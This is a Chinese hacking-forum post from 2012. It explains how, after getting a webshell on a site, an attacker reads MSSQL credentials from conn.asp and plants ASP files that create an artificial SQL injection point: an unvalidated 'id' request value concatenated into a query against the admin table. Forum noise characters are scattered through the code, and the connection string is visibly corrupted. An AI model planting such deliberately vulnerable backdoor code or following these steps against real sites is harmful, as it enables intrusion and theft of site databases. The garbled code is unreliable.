首先你要拿了一个webshell，这样你找到连接数据库的文件，大多都是conn.asp这个文件里面有mssql的用户和密码，你要找到用户名、密码、数据库所在的IP，然后连接上去，至于连接大家应该都会，找到网站管理员的表。因为我测试的时候是用管理员的表，我朋友说任何表名都可以，只要这个表存在，代码如下：
. g" q1 {! U+ l! B' M. nASP/Visual Basic代码2 B% k5 Z* d' O
<!--#include file="xx.asp"--> 4 d# S0 u# [0 m/ L
<% - s( b, p, K' B4 s
set rs=server.createobject("ADODB.recordset") " ~' c- C9 L; d& H, u
id = request("id") ' F, b+ O- `+ e- ?
strSQL = "select * from admin where id=" & id
; ?1 ] U8 ?1 P6 l4 Irs.open strSQL,conn,1,3 N, x1 \5 ?" N6 O4 P# L5 g
rs.close
) k: R& _1 {# t0 K; @" g%> 9 z( u. n2 ]+ V* @/ B' U
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名，注意必须存在。你可以连接上去看下表名就是了！这里假设的是admin是表名！这个文件名随便保存！
6 F& u! I$ N1 M0 c' f. b. o$ Z然后就要构造一个连接数据库的文件了，代码如下：
! ]0 h( T: E, x# uASP/Visual Basic代码5 _8 k$ ` W7 U$ g
<% 3 q+ t2 e5 I( E
strSQLServerName = "000.000.000.000" '服务器名称或地址 $ M6 z; y! B2 h$ U) ~3 v/ X" \
strSQLDBUserName = "sqlname" '数据库帐号 ! j S* E' k4 N* g
strSQLDBPassword = "sqlpass" '数据库密码 # _% S1 S" {' U! b
strSQLDBName = "sqldataname" '数据库名称
4 K6 E y8 _' DSet conn = Server.CreateObject("ADODB.Connection")
! o+ W# R) U2 q0 a0 R1 ]% xstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
$ ~, d/ d5 x+ @" L! xconn.open strCon
2 V( ~7 W0 I. O# r9 u& L* J%> + ~* V* E2 r* n! j* v2 c2 `! F' G2 o
这里应该都会了，就不罗嗦了，不过注意的是保存的文件名要和include调用的名字一样。就这样，正常情况下，就OK了，伪造成功
* [: ~5 c6 E+ n% Q |
发表于 2012-9-13 17:53:08
收藏
支持
反对